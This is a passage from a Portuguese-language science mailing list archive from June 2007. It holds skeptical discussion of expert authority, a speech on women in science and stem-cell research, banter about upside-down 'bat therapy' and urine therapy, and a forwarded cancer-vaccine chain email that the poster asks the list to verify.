bilhões de nós por aí. Você não é único. Como exatamente você se
convenceu de que está tão alto na escala cósmica das coisas para ser
tratado como igual pelos experts sem se importar em adquirir, você
mesmo, conhecimento?"


Como geólogo, Dutch certamente tinha criacionistas em mente. Eu diria
o mesmo para certos conspiracionistas que obviamente nunca assistiram
uma aula de física na vida e se escoram na farta ignorância para
tentar nos convencer que o homem nunca foi à Lua.

http://dragaodagaragem.blogspot.com/



SUBJECT: Re: Me fez lembrar o Ferrari..:-)
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/06/2007 23:17

Cruelmente sincero e verdadeiro.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá pessoal
>
> Eu estava re-lendo um artigo no blog Dragão na Garagem, e encontrei
> esta pérola, que me fez lembrar o Ferrari. Alias, parece que foi
> escrito diretamente para ele.
>
> Homero
> ______________________________________________
> Elitismo na Ciência
>
> Stephen Dutch é geólogo e uma ativista cético. Em suas constantes
> discussões sobre ciência, ceticismo, evolucionismo e etc, Dutch recebe
> muitos emails irados como esse:
>
> "Estou cansado dos que se apontam como experts e de sua atitude
> arrogante de quem sabe tudo. Porque vocês não ficam fora de coisas das
> quais não sabem nada? Vocês fazem parecer que sabem tudo e o resto de
> nós é estúpido"
>
>
> Agora Stephen Dutch jogou o pano:
>
> "Já vi esse script antes. Neste ponto eu deveria assumir uma
> postura humilde e dizer 'Tudo bem... nós não queríamos fazê-lo se
> sentir mal. Você é mesmo uma boa pessoa e um ser humano valioso e suas
> opiniões são importantes'.
>
> Estou cansado desse jogo.
>
>
> * Nós não somos auto-intitulados experts. Nós somos experts de
> verdade.
>
> * Não é arrogância falar sobre o que você sabe
> profissionalmente. É arrogância rejeitar a opinião de um expert sem
> possuir expertise para tal.
>
> * Se ouvir os experts que dizem que você está errado faz você
> se sentir mal ou estúpido, este é um problema seu, não nosso. Procure
> um analista e trabalhe a sua auto-estima. Se você pensa que isso
> machuca seu ego tente passar meses trabalhando em um artigo científico
> e depois vê-lo ser rejeitado; algo por que passam os verdadeiros
> experts de vez em quando.
>
> * Nós não sabemos tudo mas sabemos mais à respeito de nossa
> área de conhecimento do que outras pessoas, especialmente pessoas sem
> treinamento nenhum.
>
> * A não ser que você possua evidências verdadeiras que
> suportem sua opinião, elas não contam.
>
> * Se você ouviu algo que conflita com o que você acha que sabe
> e não se importou em checar a informação então você não deveria se
> sentir estúpido. Você é estúpido.
>
> * Se você quer discutir com experts mas não quer investir
> tempo e esforço para se tornar um expert, você não é apenas estúpido.
> Você é preguiçoso também.
>
> * Se você pensa que estou desreipetando você, você está certo.
> Eu não tenho nenhum respeito por quem é desinformado e que fica
> nervoso quando alguém o contradiz, mas é preguiçoso demais para se
> informar e covarde demais para suportar rejeição, crítica e a
> possibilidade de mudar suas conviccções. Você não é uma boa pessoa.
> Ninguém que é preguiçoso e covarde pode ser chamado de "bom".
>
> * De onde você tirou a idéia de que é tão valioso? Há seis
> bilhões de nós por aí. Você não é único. Como exatamente você se
> convenceu de que está tão alto na escala cósmica das coisas para ser
> tratado como igual pelos experts sem se importar em adquirir, você
> mesmo, conhecimento?"
>
>
> Como geólogo, Dutch certamente tinha criacionistas em mente. Eu diria
> o mesmo para certos conspiracionistas que obviamente nunca assistiram
> uma aula de física na vida e se escoram na farta ignorância para
> tentar nos convencer que o homem nunca foi à Lua.
>
> http://dragaodagaragem.blogspot.com/
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SUBJECT: Re: [ciencialist] Re: Me fez lembrar o Ferrari..:-)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/06/2007 06:16

Acredito que isso não convencerá o Ferrari de que deve mudar de postura frente à Ciência. Se houver chance ele pegará uma das frases de Dutch, como por exemplo, "* Nós não somos auto-intitulados experts. Nós somos experts de verdade." e perguntará (como sempre, obviamente):

--- o que é auto-intitulado? ; o mapa não é território!
--- como vc sabe que é expert? Raciocinou? Ou seja, propagou uma onda na matéria (meio)?
--- por que escreveu 'Nós somos'? Vc me incluiu, sem querer? Viu! mais um aderindo!

e assim Ferra..ndo um a um, vai enchendo o saco de todos.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
De: "José Carlos Antonio"

Cruelmente sincero e verdadeiro.

Abraços,
JC




SUBJECT: Re: [ciencialist] De cabeça pra baixo.
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/06/2007 07:13

Prof. Léo, digamos que estamos revezando com os japoneses. A lenda
urbana que ouvi, é que o sangue "ia pra cabeça" . Eu sei, é claro que
o sangue já estava na cabeça! Mas fiquei na dúvida se haveria, de
fato, algum problema circulatório com quem ficasse muito tempo
dependurado dessa maneira.

Gil

Em 01/06/07, Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
> Morro aqui em Barretos e meu antípoda, no Japão, está de 'cabeça para baixo' (ou eu, vá saber!). Não há registro de mortes pelo fato de ficar, assim, de cabeça para baixo! Assim, detonado o 'causo popular'.
> :-)
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Gil" <nanolink01@gmail.com>
> Para: < ciencialist@yahoogrupos.com.br>
> Enviada em: sexta-feira, 1 de junho de 2007 07:23
> Assunto: [ciencialist] De cabeça pra baixo.
>
>
> Quanto tempo uma pessoa sobrevive, estando "pendurada" de cabeça pra
> baixo? O que ela sentiria, com o passar do tempo?
>
> Não, não vou me pendurar, nem pendurar ninguém de cabeça pra baixo. Só
> bateu a curiosidade, após ouvir um desses "causos" populares em que
> ninguém questiona coisa alguma, e todo mundo acha que é médico :).
>
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> Gil
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SUBJECT: Re: [ciencialist] De cabeça pra baixo.
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/06/2007 07:21

Não é estudo não, foi curiosidade mesmo.

Já vi alguns defensores da urinoterapia , mas nenhum deles chegou a
praticar. Na hora do "vamovê", todo mundo procura os bons e velhos
comprimidos, injeçoes, e operações convencionais :)

Taí uma boa previsão: fundarão uma seita de morcegoterapia.

Gil
Em 01/06/07, Jeff<jeff@jeff.com.br> escreveu:
> >
> >Quanto tempo uma pessoa sobrevive, estando "pendurada" de cabeça pra
> >baixo? O que ela sentiria, com o passar do tempo?
> >Não, não vou me pendurar, nem pendurar ninguém de cabeça pra baixo. Só
> >bateu a curiosidade, após ouvir um desses "causos" populares em que
> >ninguém questiona coisa alguma, e todo mundo acha que é médico :).
> >
>
> Já ouví falar em gente que dorme de cabeça pra baixo, como morcego. Dizem
> que é bom pra saúde e que viverão mais fazendo isso. Então uma pessoa pode
> ficar de ponta-cabeça durante umas 8 horas sem problemas :-)
>
> Isso aí me parece mais um "estudo" de algum pseudo-cientista. Como daquela
> gente que bebe a própria urina dizendo esta é rica em nutrientes, que seria
> um "presente divino" que jogamos fora! :-) Tem até uma "seita" de bebedores
> de mijo aqui no Brasil.
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> []´,s
> Jeff.
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SUBJECT: Ciência & Religião.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
CC: <pedraderoseta@yahoogrupos.com.br>
DATE: 02/06/2007 11:41

Belita Koiller: Convicções religiosas ameaçam a continuidade de pesquisas científicas extremamente relevantes

Ela saudou os novos acadêmicos no ato de posse. E disse, entre outras: "Seria enorme desperdício para a humanidade abrir mão de metade dos talentos potenciais para a ciência, caso o trabalho científico continuasse sendo visto como uma atividade predominantemente masculina"

Leia a integra do discurso da acadêmica Belita Koiller:

"Cabe-me esta noite a grande honra de saudar os novos acadêmicos. Em nome da ABC gostaria de expressar as nossas boas vindas aos que hoje tomam posse, e agradecer a todos pelo enriquecimento e prestígio que nos trazem com sua competência científica e experiência de vida.

Creio ser desnecessário explicar aos novos colegas o que é a ABC. A programação desta Reunião Magna anual ilustra bem sua atuação, sua relevância, sua presença nacional e sua inserção na comunidade científica internacional:

1) O Simpósio Jovens Cientistas, com palestras dos nossos prováveis futuros colegas acadêmicos, demonstra a atenção da ABC com o futuro, a renovação e a continuidade do trabalho aqui desenvolvido;

2) Simpósios sobre Mudanças Climáticas, Amazônia e Ensino de Ciências e Matemática, são representativos de alguns dos graves problemas nacionais que a ABC debate, valendo-se de seus membros especialistas. Para lidar com esses problemas, avalia alternativas cientificamente viáveis, e sobre eles assessora o governo e informa a sociedade;

3) A apresentação pelo ministro Sergio Rezende, nosso colega acadêmico, do Plano Plurianual de C&T, para discussão com a comunidade acadêmica, exemplifica o prestígio e a responsabilidade da ABC junto ao governo;

4) Conferências Magnas proferidas pelos profs. Yoccoz e Rao, destacados cientistas internacionais, bem como a reunião do Conselho Científico Brasil-Índia, ilustram a abrangente inserção internacional da ABC.

Aproveito a menção à inserção internacional da ABC para dirigir uma breve saudação aos membros estrangeiros que tomaram posse hoje: I am deeply honored to represent the Brazilian Academy of Sciences in saluting and welcoming the distinguished Foreign Scientists that join the Brazilian Academy of Sciences tonight, and in thanking you for bringing your scientific expertise to keep our Academy strong and ever more prestigious, enhancing its national and international impact and relevance.

Confesso que fiquei surpresa ao receber este honroso convite do presidente Jacob Palis. Em termos aleatórios, a chance de que uma Acadêmica fosse escolhida entre os atuais membros seria de 10%.

Na minha área, das Ciências Físicas, a probabilidade de escolha de uma mulher não chega a 5%.

Suspeito que a escolha não tenha sido aleatória, mas uma forma de manifestar a intenção da ABC de valorizar e incentivar a presença das mulheres na ciência.

Seria enorme desperdício para a humanidade abrir mão de metade dos talentos potenciais para a ciência, caso o trabalho científico continuasse sendo visto como uma atividade predominantemente masculina.

É importante sinalizar para a sociedade, particularmente para as jovens estudantes, que as ciências apresentam opções profissionais atraentes, viáveis e gratificantes também para elas.

Para isso contribui o ingresso hoje de nossas colegas Ângela Maria, Berenice, Maria Assunção, e Miriani.

Permitam-me prosseguir na saudação aos novos acadêmicos em estilo um pouco mais pessoal. Seguindo o simbolismo da escolha pela direção da ABC, dirijo especiais boas-vindas à minha colega Miriani, que ingressa na área das Ciências Físicas (nos conhecemos há 20 anos, quando participamos do Comitê Assessor de Física e Astronomia do CNPq).

Como boa Astrônoma, especialista em estrelas e galáxias, Miriani já chega em alta, elevando para 6% a proporção feminina nas Ciências Físicas.

Os fenômenos astronômicos sempre maravilharam a humanidade. Sua compreensão e formulação em termos de leis fundamentais da Física tiveram início com Galileu Galilei, cientista italiano que viveu de 1564 a 1642.

Naquela época, a explicação vigente para o movimento dos corpos havia sido concebida por Aristóteles, quase 2000 anos antes: Aristóteles dividia o universo entre "Mundo Terrestre" e "Mundo Celeste".

Os 4 elementos existentes no "Mundo Terrestre", terra, água, ar e fogo, tenderiam a deslocar-se para seu "lugar natural":

1) Terra e água: para baixo.

2) Ar e fogo: para cima.

Já os corpos do "Mundo Celeste", sendo constituídos de uma "5ª essência" ou "essência divina", teriam como estado natural o movimento em torno da Terra.

Com isso estava explicado o movimento dos corpos celestes, no centro dos quais a Terra permaneceria fixa - a chamada concepção geocêntrica.

Galileu utilizou uma luneta para observar o movimento dos planetas e seus satélites, e, com base em suas observações e na elaboração matemática dos resultados, refutou as explicações vigentes e o modelo geocêntrico para o universo.

As conseqüências disso na época são bem conhecidas: Por ter questionado publicamente o modelo geocêntrico, Galileu foi acusado pelo tribunal do Santo Ofício em 1633 e obrigado a renegar sua convicção de que a Terra se deslocava no espaço. Seus livros foram proibidos e seu processo permaneceu arquivado por 350 anos.

Isso não impediu que a humanidade viesse a reconhecê-lo como aquele que inaugurou o método científico moderno, que une a observação empírica, a elaboração de modelos e sua verificação experimental, abrindo o caminho para a ciência newtoniana e para a investigação científica como a conhecemos e praticamos hoje.

É surpreendente por isso testemunharmos - nos dias que correm - atos e declarações de autoridade do poder Judiciário do nosso país, baseados em convicções de natureza religiosa, que ameaçam a continuidade de pesquisas científicas extremamente relevantes realizadas no Brasil.

Refiro-me ao trabalho com células-tronco embrionárias visando aplicações terapêuticas.

São fatos como esses que não permitem esquecer que a prática da ciência, que tantos, e essenciais, e indiscutíveis benefícios tem trazido à humanidade, requer constantemente, perseverantemente, de todos, e particularmente de nós cientistas, a defesa dos princípios e do método científico.

A mentalidade aberta e desprovida de preconceitos, como nos ensinou Galileu, é indispensável para a geração do verdadeiro conhecimento."


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Fala sério, Ferrari: ABC da CIENCIA
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/06/2007 12:03

Olá Homero!

Homero >>> Porque somos educados...

--- Homero, prefiro quando me xinga de imbecil e debil
mental do que quando me dá uma resposta desta... Vcs
leem por educação?! Poupe-me... poupe-me... poupe-me,
por pliss...

Homero >>> porque esta é uma lista de ciências e
presumimos que as mensagens, mesmo as suas, versarão
sobre ciências...

--- Sim, são cientificas, e se não fossem o Takata não
deixaria passar, afinal estou sobre moderação extrema,
lembra-se?

Homero >>> porque somos abertos a qualquer novo
conceito ou idéia

--- Discordo! Pelo menos os que debatem comigo, só
estão abertos ao fisiques, e olha lá!

Homero >>> e pensamos, inicialmente, que você poderia
apresentar algumas.

--- Sim, é alguma das coisas que faço. E por sinal,
nunca vi nem vc, nem ninguém aqui apresentar nada de
novo... apenas repetir o de velho.

Homero >>> enfim, diversos motivos.

--- Claro! Inclusive os que vc não menciona e que
estão na cara!

Homero >>> Mas será por pouco tempo e logo
abandonaremos de vez...

--- Será? Isto foi o que vc falou da ultima vez, a
dois meses atrás, mas nem vc tem cumprido sua propria
promessa... porque será?

Homero >>> a poesia irrelevante que nos apresenta, e
nos deteremos em ciência e coisas que façam sentido.

--- Como se vc soubesse o que é ciencia!

--- Keep watching! And keep seeing!



sinceramente
ferrari

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SUBJECT: Re: [ciencialist] Re: Fw: Medida de diâmetro
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/06/2007 12:04

César:

Em química Fr é frâncio, elemento de número atômico 87, radioativo

----- Original Message -----
From: César A. K. Grossmann
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, May 31, 2007 4:02 PM
Subject: [ciencialist] Re: Fw: Medida de diâmetro


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Help! Quem conhece essa medida Fr ?

Pesquisei no Google e cheguei à conclusão que se trata de uma escala
para medição de cateteres, que relaciona a circunferência ao diâmetro,
diretamente:

http://www.texloc.com/closet/cl_french_scale.html
http://en.wikipedia.org/wiki/French_catheter_scale
http://en.wikipedia.org/wiki/French_catheter_scale_chart

Basicamente, 3 French = 1 mm, ou 1 French = 1/3 mm, ou ainda, para
saber o diâmetro, em milímetros, divida a circunferência em French por
três.

[]s
--
César A. K. Grossmann






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Me fez lembrar o Ferrari..:-)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/06/2007 12:08

Homero,

Porque será que vc lembra tanto do ferrari?
Keeep watching! And keep seeeing!



sinceramente
ferrari












--- oraculo333 <oraculo@atibaia.com.br> escreveu:

> Olá pessoal
>
> Eu estava re-lendo um artigo no blog Dragão na
> Garagem, e encontrei
> esta pérola, que me fez lembrar o Ferrari. Alias,
> parece que foi
> escrito diretamente para ele.
>
> Homero
> ______________________________________________
> Elitismo na Ciência
>
> Stephen Dutch é geólogo e uma ativista cético. Em
> suas constantes
> discussões sobre ciência, ceticismo, evolucionismo e
> etc, Dutch recebe
> muitos emails irados como esse:
>
> "Estou cansado dos que se apontam como experts e
> de sua atitude
> arrogante de quem sabe tudo. Porque vocês não ficam
> fora de coisas das
> quais não sabem nada? Vocês fazem parecer que sabem
> tudo e o resto de
> nós é estúpido"
>
>
> Agora Stephen Dutch jogou o pano:
>
> "Já vi esse script antes. Neste ponto eu deveria
> assumir uma
> postura humilde e dizer 'Tudo bem... nós não
> queríamos fazê-lo se
> sentir mal. Você é mesmo uma boa pessoa e um ser
> humano valioso e suas
> opiniões são importantes'.
>
> Estou cansado desse jogo.
>
>
> * Nós não somos auto-intitulados experts.
> Nós somos experts de
> verdade.
>
> * Não é arrogância falar sobre o que você
> sabe
> profissionalmente. É arrogância rejeitar a opinião
> de um expert sem
> possuir expertise para tal.
>
> * Se ouvir os experts que dizem que você
> está errado faz você
> se sentir mal ou estúpido, este é um problema seu,
> não nosso. Procure
> um analista e trabalhe a sua auto-estima. Se você
> pensa que isso
> machuca seu ego tente passar meses trabalhando em um
> artigo científico
> e depois vê-lo ser rejeitado; algo por que passam os
> verdadeiros
> experts de vez em quando.
>
> * Nós não sabemos tudo mas sabemos mais à
> respeito de nossa
> área de conhecimento do que outras pessoas,
> especialmente pessoas sem
> treinamento nenhum.
>
> * A não ser que você possua evidências
> verdadeiras que
> suportem sua opinião, elas não contam.
>
> * Se você ouviu algo que conflita com o que
> você acha que sabe
> e não se importou em checar a informação então você
> não deveria se
> sentir estúpido. Você é estúpido.
>
> * Se você quer discutir com experts mas não
> quer investir
> tempo e esforço para se tornar um expert, você não é
> apenas estúpido.
> Você é preguiçoso também.
>
> * Se você pensa que estou desreipetando
> você, você está certo.
> Eu não tenho nenhum respeito por quem é desinformado
> e que fica
> nervoso quando alguém o contradiz, mas é preguiçoso
> demais para se
> informar e covarde demais para suportar rejeição,
> crítica e a
> possibilidade de mudar suas conviccções. Você não é
> uma boa pessoa.
> Ninguém que é preguiçoso e covarde pode ser chamado
> de "bom".
>
> * De onde você tirou a idéia de que é tão
> valioso? Há seis
> bilhões de nós por aí. Você não é único. Como
> exatamente você se
> convenceu de que está tão alto na escala cósmica das
> coisas para ser
> tratado como igual pelos experts sem se importar em
> adquirir, você
> mesmo, conhecimento?"
>
>
> Como geólogo, Dutch certamente tinha criacionistas
> em mente. Eu diria
> o mesmo para certos conspiracionistas que obviamente
> nunca assistiram
> uma aula de física na vida e se escoram na farta
> ignorância para
> tentar nos convencer que o homem nunca foi à Lua.
>
> http://dragaodagaragem.blogspot.com/
>
>


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SUBJECT: Re: De cabeça pra baixo.
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/06/2007 14:37

Olá Gil

Gil: "Taí uma boa previsão: fundarão uma seita de morcegoterapia."

Nem brinca..:-) É bem capaz de acontecer e vai encher de gente
alegando que isso "mudou sua vida", curando de unha encravada a
câncer..:-)

Se as pessoas podem acreditar, a esta altura, que secreções tóxicas
que o organismo, em milhões de anos, aprendeu a retirar do corpo, são
benéficas se reingeridas (urinoterapia), podem acreditar em qualquer
coisa.

De todo modo, os ajustes do organismo, qualquer organismo, a um
ambiente devem ser considerados em mudanças, como dormir de cabeça
para baixo. Nossas veias, por exemplo, tem sistemas de válvulas que
impedem o fluxo contrário a direção correta do sangue. Como não há um
coração para bombear sangue venoso das pernas de volta ao coração (por
exemplo), as solas dos pés tem tecido esponjoso que cumpre essa função
enquanto caminhamos ou nos movemos.

Não sei de estudos sobre ficar de ponta cabeça, mas astronautas tem
sérias dificuldades circulatórias devido a ausência de gravidade.
Penso que o mesmo deve ocorrer se alguém se mantiver de ponta cabeça
por muito tempo.

Isso facilitaria o fluxo de sangue venoso, embora em pense que
sobrecarregue o coração, já que não haverá como controlar a pressão
(não há válvulas que controlem esse fluxo), além de maior esforço para
bombear sangue arterial, pelo mesmo motivo (a gravidade pressionará
este sangue de volta, sem válvulas de controle). Se isso se repetir na
cabeça (a questão de válvulas corretamente posicionadas), não deve ser
bom de toda forma..:-)

Outras questões seriam o conteúdo do estômago, que ficaria em posição
inabitual (talvez uma gastrite ou forte azia..:), dores de cabeça
(pressão nas artérias é uma das causas principais de dor de cabeça) e
mesmo desconforto e dores abdominais, pois os órgãos internos ficariam
"pendurados" de forma não natural (já não são muito corretamente
posicionados, pois nossa evolução de quadrupede para bípede não foi
muito boa..:-).

Um abraço.

Homero




SUBJECT: água pegando fogo
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, pedraderoseta@yahoogrupos.com.br, FreeEnergy-BR@yahoogrupos.com.br
DATE: 02/06/2007 16:01

Água pegando fogo?
Hoax? Bafo? Nem quero ver... úi... ái...
Nem ver...

Check out these video's
This could be the real deal.
Butch

http://www.wpbf.com/news/13383827/detail.html

http://www.wkyc.com/video/player.aspx?aid=35660&bw=


( Tudo em paz, enquadrado e sossegado, até que venha um gringo e muda
tudo... porque gringos? Deve ser a água que eles bebem.
importado de outro forum )
abr/Murilo SP 02/junh07




SUBJECT: RE: [ciencialist] Me fez lembrar o Ferrari..:-)
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, pedraderoseta@yahoogrupos.com.br
DATE: 02/06/2007 16:08

Homero,
oi...
Nossa!
Algumas destas frases parece que foram escritas especialmente para você!
Incrível coincidência.
O seu subconsciente, indiretamente, manda-lhe mensagens.
Parabéns!
abr/M. SP 02/junh07


>From: "oraculo333" <oraculo@atibaia.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Me fez lembrar o Ferrari..:-)
>Date: Sat, 02 Jun 2007 01:36:46 -0000
>
>Olá pessoal
>
>Eu estava re-lendo um artigo no blog Dragão na Garagem, e encontrei
>esta pérola, que me fez lembrar o Ferrari. Alias, parece que foi
>escrito diretamente para ele.
>
>Homero
>______________________________________________
>Elitismo na Ciência
>
>Stephen Dutch é geólogo e uma ativista cético. Em suas constantes
>discussões sobre ciência, ceticismo, evolucionismo e etc, Dutch recebe
>muitos emails irados como esse:
>
> "Estou cansado dos que se apontam como experts e de sua atitude
>arrogante de quem sabe tudo. Porque vocês não ficam fora de coisas das
>quais não sabem nada? Vocês fazem parecer que sabem tudo e o resto de
>nós é estúpido"
>
>
>Agora Stephen Dutch jogou o pano:
>
> "Já vi esse script antes. Neste ponto eu deveria assumir uma
>postura humilde e dizer 'Tudo bem... nós não queríamos fazê-lo se
>sentir mal. Você é mesmo uma boa pessoa e um ser humano valioso e suas
>opiniões são importantes'.
>
> Estou cansado desse jogo.
>
>
> * Nós não somos auto-intitulados experts. Nós somos experts de
>verdade.
>
> * Não é arrogância falar sobre o que você sabe
>profissionalmente. É arrogância rejeitar a opinião de um expert sem
>possuir expertise para tal.
>
> * Se ouvir os experts que dizem que você está errado faz você
>se sentir mal ou estúpido, este é um problema seu, não nosso. Procure
>um analista e trabalhe a sua auto-estima. Se você pensa que isso
>machuca seu ego tente passar meses trabalhando em um artigo científico
>e depois vê-lo ser rejeitado; algo por que passam os verdadeiros
>experts de vez em quando.
>
> * Nós não sabemos tudo mas sabemos mais à respeito de nossa
>área de conhecimento do que outras pessoas, especialmente pessoas sem
>treinamento nenhum.
>
> * A não ser que você possua evidências verdadeiras que
>suportem sua opinião, elas não contam.
>
> * Se você ouviu algo que conflita com o que você acha que sabe
>e não se importou em checar a informação então você não deveria se
>sentir estúpido. Você é estúpido.
>
> * Se você quer discutir com experts mas não quer investir
>tempo e esforço para se tornar um expert, você não é apenas estúpido.
>Você é preguiçoso também.
>
> * Se você pensa que estou desreipetando você, você está certo.
>Eu não tenho nenhum respeito por quem é desinformado e que fica
>nervoso quando alguém o contradiz, mas é preguiçoso demais para se
>informar e covarde demais para suportar rejeição, crítica e a
>possibilidade de mudar suas conviccções. Você não é uma boa pessoa.
>Ninguém que é preguiçoso e covarde pode ser chamado de "bom".
>
> * De onde você tirou a idéia de que é tão valioso? Há seis
>bilhões de nós por aí. Você não é único. Como exatamente você se
>convenceu de que está tão alto na escala cósmica das coisas para ser
>tratado como igual pelos experts sem se importar em adquirir, você
>mesmo, conhecimento?"
>
>
>Como geólogo, Dutch certamente tinha criacionistas em mente. Eu diria
>o mesmo para certos conspiracionistas que obviamente nunca assistiram
>uma aula de física na vida e se escoram na farta ignorância para
>tentar nos convencer que o homem nunca foi à Lua.
>
>http://dragaodagaragem.blogspot.com/
>
>
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>Página de apoio
>http://www.ciencialist.com
>
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>Links do Yahoo! Grupos
>
>




SUBJECT: Re: [ciencialist] Re: De cabeça pra baixo.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/06/2007 17:32

Eu topo participar da fundação brasileira de morcegoterapia (fica melhor Quiroproterapia): aceito o sacrifício de ser o tesoureiro.

sdsç,
silvio.
----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, June 02, 2007 2:37 PM
Subject: [ciencialist] Re: De cabeça pra baixo.


Olá Gil

Gil: "Taí uma boa previsão: fundarão uma seita de morcegoterapia."

Nem brinca..:-) É bem capaz de acontecer e vai encher de gente
alegando que isso "mudou sua vida", curando de unha encravada a
câncer..:-)

Se as pessoas podem acreditar, a esta altura, que secreções tóxicas
que o organismo, em milhões de anos, aprendeu a retirar do corpo, são
benéficas se reingeridas (urinoterapia), podem acreditar em qualquer
coisa.

De todo modo, os ajustes do organismo, qualquer organismo, a um
ambiente devem ser considerados em mudanças, como dormir de cabeça
para baixo. Nossas veias, por exemplo, tem sistemas de válvulas que
impedem o fluxo contrário a direção correta do sangue. Como não há um
coração para bombear sangue venoso das pernas de volta ao coração (por
exemplo), as solas dos pés tem tecido esponjoso que cumpre essa função
enquanto caminhamos ou nos movemos.

Não sei de estudos sobre ficar de ponta cabeça, mas astronautas tem
sérias dificuldades circulatórias devido a ausência de gravidade.
Penso que o mesmo deve ocorrer se alguém se mantiver de ponta cabeça
por muito tempo.

Isso facilitaria o fluxo de sangue venoso, embora em pense que
sobrecarregue o coração, já que não haverá como controlar a pressão
(não há válvulas que controlem esse fluxo), além de maior esforço para
bombear sangue arterial, pelo mesmo motivo (a gravidade pressionará
este sangue de volta, sem válvulas de controle). Se isso se repetir na
cabeça (a questão de válvulas corretamente posicionadas), não deve ser
bom de toda forma..:-)

Outras questões seriam o conteúdo do estômago, que ficaria em posição
inabitual (talvez uma gastrite ou forte azia..:), dores de cabeça
(pressão nas artérias é uma das causas principais de dor de cabeça) e
mesmo desconforto e dores abdominais, pois os órgãos internos ficariam
"pendurados" de forma não natural (já não são muito corretamente
posicionados, pois nossa evolução de quadrupede para bípede não foi
muito boa..:-).

Um abraço.

Homero






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: ENC: Vacina Contra Câncer
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/06/2007 20:42





De: jvictor [mailto:jvoneto@uol.com.br]
Enviada em: segunda-feira, 4 de junho de 2007 10:40
Para: ciencialist@yahoogrupos.com.br
Assunto: Vacina Contra Câncer



Lista,

Pode não ser verdade mas não é ofitópiki.

Procede? Se sim,sugiro comentários e/ou outras informações, dada a
importância.

Nada que ver conosco. Câncer e outras mazelas só acontecem com os outros.

Pois sim!












Divulguem esta maravilha brasileira!

Já existe vacina contra alguns tipos de câncer.
Foi desenvolvida por cientistas brasileiros, mostrando-se eficaz em 80% dos
casos,
tanto no estágio inicial como em fase mais avançada da doença.
A vacina é fabricada utilizando-se um pequeno pedaço do tumor do próprio
paciente.
Em 30 dias está pronta e é remetida para o médico oncologista do paciente.
Os cientistas desenvolveram a vacina no Hospital Sirio Libanês - Grupo Genoa
(telefone 0800-7737327).

Se preferirem, entrem no site
<http://www.vacinacontraocancer.com.br/> www.vacinacontraocancer.com.br
e obtenham maiores informações a respeito.



Sds,

Victor.






[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: De cabeça pra baixo.
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/06/2007 21:29

Ah sim, não se esqueçam de que certo frei foi canonizado outro dia
mesmo porque as pessoas que engolem papeizinhos com orações escritas
neles e distribuídas por freiras do tal mosteiro do tal frei, curam-se
milagrosamente!

Papel rabiscado também cura. Os vendedores de enciclopédia podem
voltar a ativa novamente. :)

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá Gil
>
> Gil: "Taí uma boa previsão: fundarão uma seita de morcegoterapia."
>
> Nem brinca..:-) É bem capaz de acontecer e vai encher de gente
> alegando que isso "mudou sua vida", curando de unha encravada a
> câncer..:-)
>
> Se as pessoas podem acreditar, a esta altura, que secreções tóxicas
> que o organismo, em milhões de anos, aprendeu a retirar do corpo, são
> benéficas se reingeridas (urinoterapia), podem acreditar em qualquer
> coisa.
>
> De todo modo, os ajustes do organismo, qualquer organismo, a um
> ambiente devem ser considerados em mudanças, como dormir de cabeça
> para baixo. Nossas veias, por exemplo, tem sistemas de válvulas que
> impedem o fluxo contrário a direção correta do sangue. Como não há um
> coração para bombear sangue venoso das pernas de volta ao coração (por
> exemplo), as solas dos pés tem tecido esponjoso que cumpre essa função
> enquanto caminhamos ou nos movemos.
>
> Não sei de estudos sobre ficar de ponta cabeça, mas astronautas tem
> sérias dificuldades circulatórias devido a ausência de gravidade.
> Penso que o mesmo deve ocorrer se alguém se mantiver de ponta cabeça
> por muito tempo.
>
> Isso facilitaria o fluxo de sangue venoso, embora em pense que
> sobrecarregue o coração, já que não haverá como controlar a pressão
> (não há válvulas que controlem esse fluxo), além de maior esforço para
> bombear sangue arterial, pelo mesmo motivo (a gravidade pressionará
> este sangue de volta, sem válvulas de controle). Se isso se repetir na
> cabeça (a questão de válvulas corretamente posicionadas), não deve ser
> bom de toda forma..:-)
>
